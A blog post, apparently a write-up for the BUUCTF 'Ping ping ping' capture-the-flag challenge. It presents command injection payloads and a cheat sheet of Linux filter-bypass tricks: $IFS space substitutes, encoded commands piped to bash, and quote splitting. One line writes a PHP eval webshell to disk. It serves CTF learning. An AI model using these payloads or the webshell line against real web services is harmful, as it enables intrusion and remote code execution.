美文网首页
BUUCTF Ping ping ping WP

BUUCTF Ping ping ping WP

作者: Leena_c9a7 | 来源:发表于2020-01-28 23:59 被阅读0次

0x00 Ping ping ping

看名字感觉是一道命令执行,因为DVWA里边命令执行的例子就是Ping
果然,给出的页面也是话不多说,就是个ping无疑了


网页界面.png

那么我们就以get的方式看看能给出怎样的响应呗

payload:?ip=127.0.0.1||ls


图片.png

开心的直接cat flag.php 却发现事情并没有那么简单


图片.png
看来题目过滤了空格

0x02 linux常见绕过姿势

空格过滤

< 、<>、%20(space)、%09(tab)、$IFS$9${IFS}$IFS

命令分隔符

linux中:%0a(换行) 、%0d(回车) 、; 、& 、| 、&&、||

windows中:%0a、&、|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符,SUB 在文本文件中表示文件结果)

花括号

{cat,flag} 逗号代替空格

黑名单绕过

拼接绕过:$a=l;$b=s;$a$b

编码绕过
base64:

echo MTIzCg==|base64 -d 其将会打印123
echo "Y2F0IC9mbGFn"|base64-d|bash ==>cat /flag

hex:

echo "636174202f666c6167" | xxd -r -p|bash ==>cat /flag

oct:

$(printf "\154\163") ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag
#可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?>
${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php

单引号和双引号绕过
比如:ca' 't flagca" "t flag
反斜杠绕过
比如:ca\t fl\ag

长度限制

长度限制可以用文件构造的方式来绕过。

linux下可以用 1>a创建文件名为a的空文件
ls -t>test则会将目录按时间排序后写进test文件中
sh命令可以从一个文件中读取命令来执行

内联执行

命令替代,大部分Unix shell以及编程语言如Perl、PHP以及Ruby等都以成对的重音符(反引号)作指令替代,意思是以某一个指令的输出结果作为另一个指令的输入项。类似的还有$(command).

cat$IFS`ls`

cat$IFS$(ls)

0x03 解法

上面说了那么多方法,这里选一个就行,很多方法都可以实现的。
拼接:
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
编码
/?ip=1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
内联
/?ip=127.0.0.1;cat$IFS$9`ls`

linux绕过更多详情:https://blog.csdn.net/silence1_/article/details/96135760

相关文章

网友评论

      本文标题:BUUCTF Ping ping ping WP

      本文链接:https://www.haomeiwen.com/subject/clwmthtx.html